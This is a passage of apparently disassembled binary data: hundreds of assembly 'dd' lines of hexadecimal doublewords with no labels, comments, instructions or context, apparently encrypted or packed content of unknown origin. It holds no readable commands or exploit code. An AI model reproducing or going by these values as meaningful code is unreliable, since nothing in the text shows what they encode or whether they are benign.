		dd 50288BEDh, 8BBC9422h, 0BFD76C72h, 0EA8F4A91h, 136FE757h
		dd 0AA191250h, 0B08BD812h, 683D4E5Fh, 0F069100Bh, 0E92D89C8h
		dd 90D0D5h, 0B05F03B8h,	795BD5Dh, 1CD0B0Bh, 0C5FCD6C5h
		dd 82AE89BBh, 4812C0A0h, 14DCA44h, 0A184E907h, 4271CE3Eh
		dd 90A24A06h, 0C00BC196h, 0E34B07B4h, 7E12DA69h, 6C81E2FFh
		dd 166B0D6h, 3FE9254Bh,	0CF219884h, 17335335h, 47A81B6Fh
		dd 2903FFCCh, 0D2AD6DFBh, 317532ADh, 0F7268FA6h, 9FC02BDAh
		dd 0ED3BEC8Ah, 1677C43Fh, 97A6B29Ah, 8FA21DACh,	6641A671h
		dd 867DA30Fh, 586B7132h, 2E20E3F8h, 665307F9h, 4A1F70BBh
		dd 1EB70CA8h, 6D3FCB0Ah, 19433036h, 2FE91279h, 0C35B20ADh
		dd 0F41855C9h, 0E2955BE9h, 97DB3494h, 225D61A9h, 90093EACh
		dd 81FCFh, 0CE813CCBh, 42C155BFh, 0C6D7E916h, 45F0C9F4h
		dd 433160E2h, 235FA7FEh, 6801DDA3h, 3730FB50h, 82A9555Ah
		dd 50B289Ah, 49044ACEh,	0B7843C92h, 0A55E40F8h,	104A3C1Bh
		dd 0CB58C9D8h, 0FB693104h, 7D8825Ch, 10D516C0h,	12754333h
		dd 93BA0003h, 13B396Eh,	0ED74E9F7h, 556037B6h, 9D153068h
		dd 0E329DC6Fh, 4FFFD3CCh, 78E3CC18h, 7C151E00h,	0EAE18CBAh
		dd 324BF83h, 0D43988D5h, 5A5B8CA8h, 3DECC6C0h, 2CC16E76h
		dd 0C602E7h, 79CA6BA4h,	0A912BB53h, 1FB08F15h, 94391DC8h
		dd 3F38020h, 4B6D6A62h,	0D802E912h, 0EDF1704Eh,	1F2FADA1h
		dd 2134C1B9h, 0B95A64CCh, 0D57E8F0Eh, 0C310856Eh, 1B6813D0h
		dd 62C79C03h, 0B5CCDC96h, 1D946813h, 0B8279BB3h, 0E595F878h
		dd 8926E56h, 0F142AB80h, 26B4C58Dh, 0E37CC9E6h,	91EB308h
		dd 9422D987h, 0E1D408CCh, 0BEA574B5h, 0CA240CADh, 0CB68F85Dh
		dd 2B20164h, 75A0B7E9h,	73D409AAh, 8A061447h, 0C75F5344h
		dd 6D356BF5h, 2489966Ch, 0D49611A9h, 0F26813C2h, 674C5F63h
		dd 72CECAACh, 3D1A6682h, 0B95104C8h, 0C3E55887h, 4CCBE8Ah
		dd 0F9C359B5h, 0C1F70089h, 0F58105E5h, 92288F64h, 70BDF6Fh
		dd 0D02EA25Bh, 8C15019h, 9BECBF5Dh, 26447AFBh, 7A1CDE9h
		dd 47D18747h, 0B6D5DACh, 3C79DF0Bh, 0C0D0C985h,	1856F1EDh
		dd 0C80234Ch, 0B83917E2h
		dd 346F2DE9h, 0F6146CFAh, 0FAC3EC6h, 45555EF2h,	0A0C1A0BDh
		dd 8505FD9Ch, 0AE388492h, 71E9EE68h, 0AAADDD4Ch, 52F250Bh
		dd 0EF51C4F6h, 2973EA40h, 8A2BB857h, 0EB204091h, 378D8823h
		dd 0F781EE96h, 49F90F83h, 1D6E47F1h, 8CB64D0Bh,	0D3140Ah
		dd 277541CBh, 0DB48F764h, 517C04B0h, 3BC022BEh,	0EF96DC37h
		dd 12C0C42Fh, 0E80616B8h, 9968B0BBh, 0FA98955Ah, 0DE32020Fh
		dd 81CB593Ah, 4B0A12B2h, 0FDF45A80h, 0B1E9CF33h, 1A57CD4Bh
		dd 0E6ECA6E5h, 83CE96BEh, 0E43EDDEAh, 7F818250h, 29CEBA4Fh
		dd 7A5A6809h, 0B9654D1h, 0C3BBD64Fh, 32E0714h, 2531EB91h
		dd 0F41C5C32h, 8A44399Dh, 7FA051E9h, 1C6602B8h,	0C3313CB1h
		dd 0D2F52C4h, 0C7A1F93Dh, 0BD61F2DFh, 0E06E2776h, 81679854h
		dd 382600F2h, 0D1214BB3h, 9A4949E9h, 5B5416C4h,	0E909462Ah
		dd 9C5D283Ah, 2D68B7B3h, 0D413109Dh, 0C98131B2h, 9C7F459Bh
		dd 33A8BB56h, 51292C2h,	50FB3BF7h, 0E90C0823h, 0B1263FBDh
		dd 7CF52A77h, 1FB203E9h, 207AEA80h, 943C4C06h, 2BE99328h
		dd 0FC684A4Fh, 40E772A7h, 86B088FEh, 28ACB112h,	66B04DB8h
		dd 0B5015150h, 0E6F58038h, 0E32F44E9h, 0F1AC5C1Ch, 917AC2D0h
		dd 81237B04h, 0B902C6D9h, 43EE39Fh, 4F1D091h, 0D1DA5F54h
		dd 4F0BA25Ah, 642F7C2h,	71064E5Eh, 58167D5Fh, 90E7941h
		dd 0F7297850h, 1708CA08h, 0C7C3F05Eh, 891C9405h, 0BBA5A51h
		dd 32E83717h, 0EE5A81D6h, 575A9BD2h, 6812AC14h,	31600E78h
		dd 488A16EBh, 0A9045921h, 8065D102h, 0B867ABA7h, 0CFE54095h
		dd 557E2527h, 8424A371h, 9C32A402h, 0C69F604Dh,	26E82546h
		dd 0ED0C845Ch, 0DD080606h, 0F45AC21Eh, 0A7E27821h, 0BE013854h
		dd 354A7A07h, 225127Fh,	1F155778h, 0F691CE41h, 0AA708AE4h
		dd 0C69530FDh, 8D7FFC07h, 0E9124E62h, 9D60D8F4h, 572006E4h
		dd 428599D2h, 0B7598A6Ch, 21AC6805h, 0FE0258Dh,	4ECB1355h
		dd 8571B25Dh, 0CEAC1177h, 0E334F7h, 2C3942D8h, 83EA58C1h
		dd 283BC213h, 3BE51B0h,	0F52804CBh, 13630013h, 5A76E756h
		dd 0A58F479Dh, 486FDDD1h, 87126DEh, 0FE259882h,	59F1475Ah
		dd 239E9264h, 620C54E9h, 176BB926h, 3B933FB1h, 275E464Fh
		dd 32B334F6h, 0FA1779BEh, 7CED0B68h, 64605D09h,	1F306C67h
		dd 3AAE0C78h, 0E99B16E1h, 0EC0FE54Dh, 0DB257F4Eh, 975C5C54h
		dd 2F3D08D8h, 0EC925E1Dh, 0E91A3C5h, 82EA6866h,	0D92C73F2h
		dd 91278817h, 8481B28h,	2EED050Ah, 0F2C03505h, 97C0759Ah
		dd 8831909h, 0ABE509CAh, 0E95F8707h, 29092B44h,	0DC251554h
		dd 6CCC5A1Ah, 50F1F72Eh, 0DDB0DE44h, 39C24D88h,	0E8C15D7Ah
		dd 8035B703h, 0F88930C7h, 0E63A605Bh, 0AA425081h, 2DE57CE0h
		dd 599758CEh, 0A88BE9C0h, 0E69BBC58h, 0B2525A16h, 7D7AF701h
		dd 0AC302E90h, 2DC2063Bh, 7703E972h, 0BCCD5C5Eh, 0A4A943F0h
		dd 82050BC5h, 0BCD68C21h, 5C0CF320h, 58772A60h,	684602AAh
		dd 2218E973h, 2CF996D7h, 6B42E2E5h, 6A27B300h, 99FC43D2h
		dd 77FC9541h, 1D5CC13Ch, 876C3E25h, 7510587Ah, 0ABE94270h
		dd 0F693C0BBh, 2F863A85h, 3B65E09Dh, 141130Fh, 83D10F3h
		dd 0F9B5C54Ch, 5EF38466h, 30248CBAh, 0E15AF02Fh, 1465D23Dh
		dd 0E4A73328h, 80EAA053h, 28BBF707h, 0E8335BFDh, 0DB3E859h
		dd 0C0C30BFEh, 0AB7E05EBh, 0F3DDFA1Fh, 0F2E25A93h, 0CCF2B7C4h
		dd 0C14E3034h, 9D48B8F2h, 212D1C60h, 6E50534Ch,	1017BC90h
		dd 0D5086AE4h, 61B30131h, 0CCACE380h, 0DAE074C3h, 0C2025B79h
		dd 90E9504Ch, 121798Ch,	280377D8h, 0FB893B01h, 0B0F0A06h
		dd 701C720Fh, 0B1803D8Bh, 614884BEh, 2840355Fh,	5AA43833h
		dd 0BE6EE46h, 23A5072Bh, 3907FE7Ch, 0B2DAEA1Eh,	0C3685580h
		dd 5C8A6692h, 595CF75Dh, 992CAC09h, 3309B47Eh, 0AD5CD107h
		dd 75C230A0h, 2D0531DFh, 70677D84h, 0E909B2E3h,	0D074AD96h
		dd 0A1B8F88h, 42D640B8h, 0EF648BA5h, 75B4D34Bh,	8187407Eh
		dd 138CE74Ch, 0F9083D06h, 97581DC0h, 4CAA5E62h,	40605EDh
		dd 747E05B8h, 0A1D6EA26h, 0A8095293h, 36FD59D0h, 4A201668h
		dd 0F5097B9h, 3CDA0F18h, 0DDAAD118h, 0F4388B3Dh, 1EFC5C64h
		dd 50EA950h, 8BD139Ah, 60A4F345h, 0E6D6021Ch, 11197E41h
		dd 7FFED7C7h, 6E1CD03h,	74BB30E7h, 53753D6Ah, 59630B02h
		dd 41D9311Ah, 0E805F36Bh, 26A04F9Dh, 5419406Dh,	0AD685E12h
		dd 41A67EEh, 1FCBAF30h,	0B1D607Dh, 0D830E4B3h, 0AB935B5Fh
		dd 0F271F4Eh, 0A12D084h, 0CA4A1068h, 92A7B448h,	2517220h
		dd 0E11FF781h, 82D7DF72h, 0B81B2Eh, 68D3E680h, 47476D33h
		dd 89832F7Dh, 7D7859EAh, 397FBFAh, 0BAA5B536h, 0B8FBD0C6h
		dd 39F10BF1h, 0D4500D3Ah, 7D01DB58h, 25C60403h,	0E901EF83h
		dd 863047DFh, 0E4F6249Dh, 0B4F117A0h, 2509C3CEh, 8B089E3Ah
		dd 0A8745E26h, 0CFE91874h, 5EF79346h, 3ABD7CF4h, 0A0EC793Ah
		dd 53F07CFh, 0A54B5EAEh, 0DE85B0EBh, 0C5F3102h,	5DC761E9h
		dd 2CE76166h, 324C7AE2h, 6B8C0204h, 0DD2963D7h,	0BBF2EA8h
		dd 3144B2Ch, 0BB4C455Ah, 0AA6324C3h, 0B5A7C91h,	57B21084h
		dd 8BC12561h, 59CE21h, 967F74DEh, 4AF9FC15h, 0D7B1A9DBh
		dd 0F9123DF6h, 9B62055Fh, 2F58E3EFh, 59EE8B72h,	5C318CCFh
		dd 0CE955BBCh, 4E574883h, 62CEBC2Eh, 9457C8B6h,	26818BDh
		dd 0CB39E91Ch, 19EF9DC0h, 9030971Eh, 0F5FC002Ah, 0FA31758Bh
		dd 1A5AB0E9h, 86030D1h,	5E75590Ch, 0DEC9C84Fh, 30CED93Bh
		dd 5880A9D2h, 0C4AFB952h, 0F6D694CCh, 18582556h, 4796801h
		dd 0E90FAE1Dh, 0AD05E1DBh, 0F1F16C1Ah, 92B2510Ah, 0A0248EB4h
		dd 0A9195DF5h, 0B4E807A7h, 6880E644h, 0F3395ACBh, 5B59175Ch
		dd 2868F060h, 7A11AA34h, 50F0252Fh, 562543CDh, 6304C957h
		dd 0F509520Ah, 25AD5616h, 54727DFEh, 0B70F8426h, 83EC2C8h
		dd 0AB8C1AF9h, 4A26BD84h, 0B072AC49h, 2F44FA05h, 40583FCDh
		dd 16DD0782h, 0FECED216h, 0FC5C4478h, 956F9502h, 10D33012h
		dd 1C9F5C5Ch, 36836709h, 25F85A8Ah, 0DEE911D3h,	0E2E9C14Bh
		dd 54892B95h, 9F15293h,	2B841EFEh, 74D2F448h, 2ED73901h
		dd 4EAC142h, 13E2E570h,	1DCC250Ch, 92E4247Ch, 9D2D0853h
		dd 382F003Fh, 7C2D5627h, 0DD7329Fh, 5507E71Eh, 661B0767h
		dd 54523DBDh, 68D212A7h, 756CF10Ah, 0C903A9E0h,	0F8E6719Ah
		dd 0C58EF8E9h, 0E2216644h, 179720A0h, 85EE850Fh, 0B4CEB8A6h
		dd 680A3CE9h, 6BEE7AF4h, 71529CF6h, 0FE296515h,	37E91A30h
		dd 91A5A817h, 1C7F8283h, 0A8584A6Ah, 35E9A192h,	0A5543FA7h
		dd 909BD2DAh, 0B263D019h, 26FB4010h, 1E00E7FDh,	81613259h
		dd 71E60BCBh, 34080275h, 3CDD09B2h, 0D95EBB55h,	8D6AF42Dh
		dd 8DF706A3h, 91D65765h, 0B69B08C8h, 427127FBh,	52FF29E5h
		dd 1F60FB89h, 95738068h, 26BCC4D9h, 4E7B310Bh, 81702D9Bh
		dd 9EFBA4Ah, 0E9F91C0Eh, 0DA16962Ah, 849BE25Ch,	0D8D0C488h
		dd 0BD51CA87h, 4526A48Ch, 0D27E9C41h, 0B8FECDFFh, 4C2702A4h
		dd 77AD80A8h, 4BFC82A1h, 20BC9508h, 1514AFCh, 0B7535A63h
		dd 41556825h, 0CA5C8807h, 0F25D28ECh, 0A9062C78h, 9188B565h
		dd 0C4280477h, 70E92CF8h, 0CE6013B2h, 0E5DAEE35h, 0AC2D5DAEh
		dd 0D5B22934h, 0DF310940h, 0D35C2FC0h, 0FDB1E04Eh, 0E8AECBB5h
		dd 234F15C3h, 0B6017FF7h, 0FBB55184h, 0DDC9D5F6h, 0E98B1485h
		dd 7B3973Bh, 0D7A72CBh
		dd 0DA99C4DEh, 5F00F5C6h, 6096855h, 82636C67h, 552F90ABh
		dd 7094801Ch, 0DD50E9E2h, 99B559A0h, 5907EF88h,	525AF780h
		dd 0DEF6FE71h, 31105EEFh, 2040B29Fh, 0EBDD34A6h, 4647A997h
		dd 32B4F66h, 0BC5ED3AAh, 0C0791EFAh, 0E97C022Dh, 35C532A3h
		dd 38BF3C89h, 25C9D0D8h, 7C9CE4BFh, 97C92EDFh, 0CD4402Dh
		dd 17657A0h, 884FAF1h, 6C61BE58h, 407B12C8h, 52AFF5EBh
		dd 892FF387h, 9738ECEEh, 8F220DE8h, 74013E13h, 0CD0CCA8h
		dd 0E919284Bh, 6BB76878h, 0BDF3ED00h, 488C45Fh,	9874E2CFh
		dd 6E025495h, 0F2E943C7h, 0BA07F44h, 25374D1Dh,	2920CC0h
		dd 25E93F3Ah, 9E52A885h, 2090D1E4h, 1FE5DF4Ah, 0B8E0AF31h
		dd 0A89791EAh, 0F8E52664h, 170CCA1Dh, 51B8416Eh, 0CADE8956h
		dd 0A61D6043h, 501F53CFh, 543C6840h, 12590F20h,	105E9C1h
		dd 4F198A93h, 4AC26F3Ah, 5897A431h, 2BF3AE80h, 1E36661Bh
		dd 99A083D8h, 5280A3F6h, 16DC0968h, 0C45403D6h,	0E9D131C0h
		dd 69354D48h, 15165B2Fh, 0FB87DF12h, 0E9D902FFh, 0D674ECDCh
		dd 62E0AD53h, 6F11A80h,	50FEA628h, 77042C16h, 71839DB3h
		dd 3EE88330h, 0BFF7D81Ch, 6E907142h, 0E15B7EE9h, 0B79AD4D6h
		dd 0DC4B5E8Ch, 5D2C5A03h, 0C007B252h, 4D3CE98Eh, 0AD5168B5h
		dd 11863E4h, 76C6813Dh,	6FC2E79Ch, 2082EA84h, 93AD105h
		dd 5951C330h, 80133CA4h, 7C6481A2h, 0BCA912A9h,	60DF6110h
		dd 0DE3C0E68h, 4E3EF63Dh, 10AFD336h, 6B1F18D1h,	0C787A04h
		dd 0B03F3CA3h, 5BDAFC41h, 14D02125h, 0B168160Dh, 0C2DBE97Bh
		dd 55150CE9h, 6A77E721h, 7D29E1F0h, 0C12F74ABh,	95F41C3Ch
		dd 0C8082225h, 7F49D100h, 4C5F8F4Ch, 31876143h,	377250F9h
		dd 5B402DD1h, 2D621CA0h, 84E37A07h, 224333A8h, 0E377C89Fh
		dd 31E6307Dh, 0A02DB0Ch, 2F284C60h, 0B2D5D7AFh,	209998E4h
		dd 872D8D5Fh, 70CB93EFh, 8371C62h, 454C5629h, 0F882A2B5h
		dd 0F7F39284h, 2F6C3186h, 0CF29475Bh, 2DC0ED28h, 3B496F70h
		dd 57D02900h, 0D97FF9BFh, 974F4C1Fh, 5D09BC1Dh,	147D707h
		dd 4D06D4F0h, 42A031DDh, 2D0AC24Ch, 48418003h, 1298D91Ah
		dd 3132FF49h, 0AA164E3Eh, 302FB4FCh, 7F4B17F0h,	0C201B420h
		dd 3BFCB050h, 58806E2Fh, 4A2A7125h, 0D03FF760h,	0BAE72E53h
		dd 0B712ADA6h, 4FDFD793h, 14AFE469h, 9097AB48h,	7EE312EEh
		dd 0CCF27ED7h, 1A4677F8h, 2A91C055h, 0C7949E97h, 0D14BA2A8h
		dd 7A8516C0h, 0E5819431h, 0F263C504h, 0A4A337h,	21DB87Fh
		dd 3E0525F4h, 23523002h, 0C858C729h, 0EB64704Bh, 0D1EE117Ah
		dd 0EDB81B93h, 0EFACEBF8h, 0A7280F3Dh, 960FE2EAh, 28575F6Fh
		dd 9584EFD0h, 81261F64h, 0A5BCBCA2h, 3F31F3E1h,	0A3DC5DA7h
		dd 163F8B71h, 73B8439h,	0D94F68B2h, 4DDD01Ah, 69C5883Bh
		dd 0B1871A80h, 4AE9274Fh, 3AF5D809h, 342D4988h,	0EA024C2Dh
		dd 5CF12AD9h, 0A9425362h, 16850809h, 8777EF83h,	9BCBFB3h
		dd 25E0C317h, 0E76B340Fh, 57BA79A0h, 732F625Eh,	0DCEC56h
		dd 5DB023CAh, 4B7CC1BEh, 0D629EA12h, 31A253B8h,	445E9762h
		dd 27212116h, 976876E9h, 0AE3BB412h, 7D317E22h,	1A43B0CAh
		dd 9D02B5F3h, 0AA2510C2h, 0E0B68F78h, 31B80328h, 0FB4390EAh
		dd 8CC78000h, 0AE89ADBCh, 3D7FDB10h, 0F4088316h, 0B34EC518h
		dd 69C4CBB8h, 0D09AEF06h, 92BB64Bh, 54199568h, 0F5C6E90Fh
		dd 720BA894h, 0BDDB73F0h, 35303596h, 0D833AC1Ch, 49ABE90Dh
		dd 2084C39Bh, 0D5F6077Dh, 9D4770F5h, 0E125DC88h, 3E27DA84h
		dd 0ECF2C804h, 19960510h, 0C54AF329h, 937BF05h,	27CF0B3h
		dd 5D89BD16h, 89D74017h, 2DC780Ah, 0B86BB53h, 5A5C39E8h
		dd 94C3F301h, 52E8713h,	0BED23E38h, 6AF8F132h, 0A88B7F23h
		dd 31298A02h, 0E9C55C04h, 0AE8853BAh, 71EF7400h, 4EC1558Ah
		dd 6F13C0E8h, 264FF07Dh, 1AD069B5h, 0E9230B21h,	0F45639FFh
		dd 0BA520281h, 3E211551h, 24945A45h, 608944ABh,	58949033h
		dd 1BBADDF6h, 5E284B3Bh, 4DE90098h, 0DC41BC58h,	216F046Bh
		dd 0CBB1D8ACh, 2566594Eh, 69729712h, 66072B27h,	458043Dh
		dd 0FF290523h, 53C3440Eh, 90BBFAC8h, 0DEE85836h, 876D979Fh
		dd 27DA6B5Ah, 27149420h, 2B7C51B4h, 74B75304h, 0FE337380h
		dd 0BEF650CFh, 5D235417h, 1F18B553h, 5982ADC9h,	0E0AD3965h
		dd 8960D018h, 923E8F81h, 14D75D4Ah, 66F8C27Dh, 6DC08240h
		dd 0BF189EC1h, 724B07Dh, 46F03E78h, 1D96ED00h, 0CD014D9Dh
		dd 68081CD0h, 5902141Ch, 448D18E9h, 7C2A09ECh, 5E801EE6h
		dd 35EEBC2Eh, 35F6F395h, 0B10C0391h, 0F7C9C77Fh, 0D42130DEh
		dd 764BAF91h, 128052E8h, 748612C2h, 5B724260h, 9775CA19h
		dd 2C23BCE8h, 0D0EA5025h, 64575DA8h, 2834179Eh,	1F85602h
		dd 12613C4Fh, 932F1668h, 0F990EF99h, 0B5B8505Fh, 26682BC2h
		dd 65847E7Ah, 0EA540902h, 0E96132FCh, 0F124EBDAh, 5A5A70F1h
		dd 0E7D0B0CFh, 0FA4BB27Fh, 8BE38E85h, 0EAE16073h, 594165C5h
		dd 6EAC114h, 5931EAAh, 0D144019Ch, 0A6AD02E9h, 0F1790149h
		dd 8C3C1F3Eh, 0AD0A7AEDh, 0FB20339Ch, 3E65B30Bh, 19BE8023h
		dd 0EC70736Bh, 2FC116E1h, 6F8E82Eh, 66377C78h, 7157040Ch
		dd 804119CAh, 0C1854F4h, 41F4B05Bh, 0BF3285EBh,	0ACA9D568h
		dd 92C79557h, 1332A85Ch, 98EC2D97h, 365FC6A8h, 0CA16C8F3h
		dd 3063EDA8h, 43B5E403h, 10025F23h, 0BC6393A7h,	7FF2587Dh
		dd 92AAE05Dh, 6047B63Ch, 75AC3D22h, 2F9A50C8h, 29083859h
		dd 3A7F72D9h, 0C4BFC20Eh, 0E5883923h, 42DBEE26h, 675F9330h
		dd 120026FCh, 0C4E5EC15h, 0CCFB3D74h, 9B4018F8h, 8369B55Ah
		dd 0C70B3BD4h, 5620EABBh, 7AA209ADh, 0B735E4E8h, 0B517CE9Fh
		dd 0EC5FCD9Ah, 8F5F5F53h, 72914A45h, 9D7AA8B0h,	0C3842FBDh
		dd 8788CBBBh, 604669B9h, 0CB07F49Ch, 8277C52Fh,	43567E8Ah
		dd 0D1EE1278h, 0D7BB0E27h, 2E5AF059h, 0B2E8A7F1h, 0E4E6713h
		dd 322D4771h, 84807E9h,	5D49FD68h, 0E651A12h, 0D6885585h
		dd 3F170DECh, 53CC8B75h, 0A26FD8B8h, 12080D73h,	0DA621C79h
		dd 0F1EB25E9h, 8D72F082h, 9C94EBF6h, 5170669h, 9DB10973h
		dd 0F002CA28h, 0A7DCD030h, 40B7E989h, 2262DF9h,	891FC90Ch
		dd 737E5830h, 7C497A8Bh, 0D1D264F9h, 70C885F6h,	7969061Ah
		dd 0C2F67E10h, 0BD00AB3Fh, 0E2784490h, 143CF881h, 0B069940Eh
		dd 27610A07h, 6BF5C13Fh, 9D077166h, 354BEF18h, 20B67897h
		dd 5D609662h, 2158C440h, 4D10F87Bh, 0BB938C11h,	0B8023175h
		dd 0A06A2648h, 0BB0FCBADh, 0B6AAEA6Eh, 4051652h, 0FE08208Eh
		dd 6313E813h, 7D5C2782h, 4D7CA4E3h, 2706805Dh, 6289D621h
		dd 0E9305A54h, 2985A8AFh, 5ECAB8C8h, 2771F623h,	5FB4093h
		dd 0B5B1207h, 31DF2C3Ah, 4E8FC331h, 0F107785Ah,	0D162D8E7h
		dd 0B3F7D80Ch, 0C301C212h, 0E02F86A1h, 6D0105CAh, 0E90A8A0Bh
		dd 4E02162Dh, 8FB65A41h, 0C9204793h, 0D59362BBh, 819A119Eh
		dd 8185E92Dh, 0B4FE351Fh, 781AF02Bh, 3E403DD5h,	0D7CD69C6h
		dd 0DD49C0AFh, 0BE87990h, 4C9F8FF0h, 34681223h,	6960BB26h
		dd 60A7E953h, 70DD4DEBh, 1FEA6369h, 6C36241Eh, 943AAF87h
		dd 0A64DE963h, 1A681328h, 54553141h, 26487659h,	0E9418C01h
		dd 0C0040F4Fh, 0EF134C0Ah, 9F0114Ah, 0E908A0C3h, 56899D71h
		dd 638844D3h, 41DE20CCh, 75316077h, 543F0404h, 0F82C501h
		dd 505C0B02h, 0BCCCF025h
		dd 0E486CF0Dh, 0B98A6193h, 4305BF01h, 1657D6C1h, 41681870h
		dd 0E16F3D69h, 70F58080h, 59EB2440h, 79A73957h,	0D71EBA0h
		dd 0D89D1E78h, 0D1D9060h, 2A3328CBh, 41E9E112h,	44BD5508h
		dd 5E21B017h, 0D88C9297h, 77CB24EBh, 0EBBC2F9h,	0D6EBC854h
		dd 0E9C087DAh, 0B98A1CB1h, 1381907h, 8B6C12Bh, 0ACCCFD78h
		dd 895239CAh, 29D04BF2h, 9DD560DDh, 525E02F1h, 0D983619h
		dd 479F721Fh, 0D67A8955h, 49BE1E5Fh, 68097FD2h,	35794450h
		dd 30600291h, 27EF67B9h, 13F32924h, 0C6950820h,	2708B17Ch
		dd 0A9256664h, 0E02554C5h, 72CC6855h, 0FBE57FC5h, 51581147h
		dd 771F5FA3h, 0C083AA1Eh, 94F0682Fh, 0CDFE4395h, 0ED80C590h
		dd 0EF086003h, 0AFE7C059h, 51D1609Eh, 0A1FE24B1h, 0DEC6D2B1h
		dd 393289C4h, 2F9F3475h, 0F1BAF4CCh, 4103E8D8h,	0F0E970C0h
		dd 0E2410408h, 0FB845394h, 71C8C59h, 1383FA04h,	953846Dh
		dd 0D078E661h, 8E0C005h, 0E682D0F6h, 48A05702h,	0B781B252h
		dd 0D1E98216h, 7490A49h, 36B28B51h, 95B1D0BAh, 0DE2DF398h
		dd 25E61402h, 66890AE9h, 0A282203Bh, 0BE99FD80h, 212BBA81h
		dd 0FDDB76h, 4EA86866h,	0A101AC31h, 0AB32F887h,	0A1721703h
		dd 4E1473Ah, 0F75B85A7h, 0E08556D9h, 2E686FE0h,	0C48C5F6Bh
		dd 3B24FC09h, 0F7A01252h, 645F3CF7h, 8C12B09Eh,	0C992A4Bh
		dd 2831F281h, 35E95E78h, 91FFCAA7h, 29833088h, 3C7D301h
		dd 5B010F70h, 0E9C39D61h, 0CD817549h, 56320DEBh, 7F2EBC07h
		dd 0CEC008A2h, 0A5B45BDEh, 4B421E92h, 8520EB80h, 13C21FE1h
		dd 0E17C0B16h, 68565C60h, 8B7D13F4h, 0CE130A09h, 2A1A248Eh
		dd 187097F8h, 0D2133D2Dh, 7D064384h, 0E67BB827h, 0DC6E97F8h
		dd 9E9542B2h, 0B799DA6h, 52187D49h, 4B7A8D2Dh, 0D7053604h
		dd 83EE287Eh, 0C1A1CCB1h, 4F5B2635h, 6CA710Eh, 9FA5AF3h
		dd 186681Fh, 2066DCD4h,	0CAE92F20h, 40D707E2h, 0A491AC03h
		dd 0D0FC64B2h, 0BE5F8477h, 36C11ED4h, 0E052D5E9h, 0BFD6953h
		dd 0B41BEAC4h, 0CF398B42h, 0FF4FCC9Bh, 2598B8B7h, 54E2E9F7h
		dd 32B3315Fh, 0A543E392h, 25344108h, 0C09F6158h, 821AB46Ch
		dd 5021259h, 0E0324BDAh, 941B691Fh, 925747F8h, 537114D7h
		dd 44DCBA62h, 941A5A2Bh, 42EF569Ah, 0BADFE995h,	0E60BE54Ah
		dd 6586106h, 0D8A2AD81h, 43966FE6h, 2685050h, 18940851h
		dd 75F81CE9h, 521E409Ch, 7D46D689h, 10385A82h, 18F42805h
		dd 0C1115D60h, 488F6882h, 0D6CC085Eh, 3E925959h, 882FD248h
		dd 295B35C0h, 5EA7F259h, 4282A695h, 0B95100E5h,	2F16A9D9h
		dd 0A0FC31A0h, 4DA7C301h, 0A0297DBBh, 580C08D9h, 0DB24B850h
		dd 7BF87201h, 17109118h, 85D9C430h, 5C0C7C73h, 12C45E5Eh
		dd 0C6654C82h, 6AE9346Bh, 0B043BD63h, 4EDD6851h, 6E68291Bh
		dd 40E8D698h, 8C24682Bh, 6B947Fh, 51357620h, 454D0349h
		dd 0D6F7F587h, 81083Bh,	0B6AECA8Dh, 2FE9EA89h, 79E9B355h
		dd 8C417ADBh, 23187BC3h, 5B9AB63Fh, 0D03FFFA5h,	28761B5Bh
		dd 744A7430h, 4B3F6C60h, 7355ECE6h, 0F5AD63Bh, 7A72E9F0h
		dd 0F9025D38h, 0B9008103h, 0FF0E3B8Bh, 14F6F1E0h, 0B54F4C52h
		dd 789FA120h, 84F73E0Ch, 93FA889Ch, 79A908D5h, 326E6801h
		dd 2EE8193Eh, 49A3B639h, 22A93203h, 0F9C96A5Ah,	2FF54740h
		dd 4B4A402Eh, 3EE3E8C1h, 0D2105F9h, 1CFC7BCCh, 6CDDE96Fh
		dd 0A63581DBh, 258AF28Ch, 0E7D43087h, 0E517CEBFh, 5086886Bh
		dd 0A76B7241h, 40F326DAh, 0D10FD0A4h, 0FDCD2AE1h, 5612E3A6h
		dd 440F5701h, 3F3C3EA2h, 68A1C84Eh, 24917E7Bh, 8CA35193h
		dd 1C98BE41h, 0E9EB2008h, 109F5C2Fh, 184CB968h,	68373B3Ah
		dd 4406CEBEh, 0EEC14DF0h, 0D9C605FAh, 0F8FD907Dh, 0D1290B1Ch
		dd 45F865Ah, 0D007518Ah, 9D9D0C0h, 1C4F09B9h, 15D1452Bh
		dd 2C353679h, 9311896Eh, 0DB27A3FEh, 2CAF73A0h,	2FDD7D29h
		dd 93E91195h, 6A44315Ah, 14255081h, 0F3880260h,	60F12F70h
		dd 0E6EE7515h, 2C4F1E17h, 8981B6B8h, 807A974Fh,	34B4081Eh
		dd 78B30529h, 9044762Ch, 0E12B594Ch, 2253E59h, 0F9F3E9C2h
		dd 40A5BD6Ch, 337CBF82h, 29577312h, 0F5023EB8h,	0E8630448h
		dd 7899245Fh, 85BB88D4h, 0CDA3BC47h, 69206528h,	46C1416Bh
		dd 7D122A04h, 13E87B14h, 0A767ED04h, 992FA78h, 1F63DEE6h
		dd 7A9BC980h, 8EC2E20Bh, 0E9165D1Eh, 91DDBA94h,	0ECD3Ah
		dd 385F39DDh, 86A5405Fh, 49EE0804h, 3370E8D1h, 6EE55476h
		dd 0B8506FB4h, 14720FA7h, 1AB20A1Fh, 0FC781A31h, 2B2CD809h
		dd 21282F37h, 0B0734FC9h, 538DCBDh, 0F3A44616h,	0E18C96ACh
		dd 8A9927E9h, 48C2CE5Ch, 0C1EFFE3Ah, 6E0622E9h,	10EEF025h
		dd 5F8DB436h, 3557E93Bh, 0F4126E23h, 7149788Ah,	17EDCA04h
		dd 4607EF77h, 7B653F7Fh, 0BD1597F8h, 0F6169C0Ah, 1F70BCA5h
		dd 0D257F501h, 17A22552h, 0E83C34D7h, 43A14A17h, 13A5C519h
		dd 0F920BCDAh, 0C78839CBh, 1F5BFD13h, 0E47F0A39h, 3CF9E287h
		dd 0FAE0C90Fh, 32FF3C05h, 0D1700612h, 3EA5D843h, 7F736E92h
		dd 8824FC91h, 9C77AB44h, 4CABA703h, 0B04541DEh,	0F207FFA9h
		dd 0AF6CF153h, 0E9B3C265h, 420B9256h, 4406D10Eh, 482FA35Ah
		dd 4DFE097Ah, 0C96900FBh, 4D16BAAh, 37E9520Dh, 6BEACD0Ah
		dd 0E2CF75B1h, 0CF5D89Fh, 67346858h, 744FD56Fh,	41940F2Ch
		dd 0B79A07AEh, 2CF003CCh, 85C6BDA5h, 0CC94DAE9h, 43159BBBh
		dd 64E90B07h, 54BECE95h, 41812AB9h, 68948916h, 0BF1358C7h
		dd 0D0ABB65h, 39A8C9AFh, 2208620Ah, 4131AC45h, 0A33E0F68h
